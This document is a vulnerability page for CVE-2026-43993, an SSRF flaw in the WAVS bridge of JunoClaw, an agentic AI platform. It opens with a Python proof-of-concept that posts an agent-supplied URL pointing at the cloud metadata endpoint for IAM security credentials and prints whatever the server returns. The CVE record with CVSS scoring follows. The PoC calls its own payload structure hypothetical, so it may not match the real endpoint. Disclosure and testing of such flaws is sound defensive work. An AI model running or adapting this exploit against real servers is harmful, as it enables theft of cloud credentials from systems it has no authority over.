CVE-2026-43993

import requests def exploit_ssrf(target_host): """ PoC for CVE-2026-43993: SSRF in JunoClaw WAVS bridge. This script attempts to force the server to fetch an internal resource. """ # The vulnerable endpoint is the WAVS bridge computeDataVerify base_url = f"{target_host}/api/wavs/bridge/computeDataVerify" # Malicious URL targeting internal metadata (common SSRF check) # Attacker controls this URL via the agent-supplied input malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" headers = { "Content-Type": "application/json" } # Hypothetical payload structure based on the vulnerability description payload = { "agentData": { "url": malicious_url } } try: print(f"[*] Sending SSRF payload to {base_url}...") response = requests.post(base_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for leaked data.") print("[+] Response body:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") # Usage example: # exploit_ssrf("http://vulnerable-junoclaw-instance.com")

{"cve": {"id": "CVE-2026-43993", "sourceIdentifier": "[email protected]", "published": "2026-05-12T17:16:21.380", "lastModified": "2026-05-13T17:00:37.097", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, the WAVS bridge's computeDataVerify called fetch() on agent-supplied URLs without validating scheme, port, or resolved IP, resulting in an SSRF vulnerability. This vulnerability is fixed in 0.x.y-security-1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:L", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/Dragonmonk111/junoclaw/commit/a168608", "source": "[email protected]"}, {"url": "https://github.com/Dragonmonk111/junoclaw/releases/tag/v0.x.y-security-1", "source": "[email protected]"}, {"url": "https://github.com/Dragonmonk111/junoclaw/security/advisories/GHSA-q545-mvjf-q9pg", "source": "[email protected]"}]}}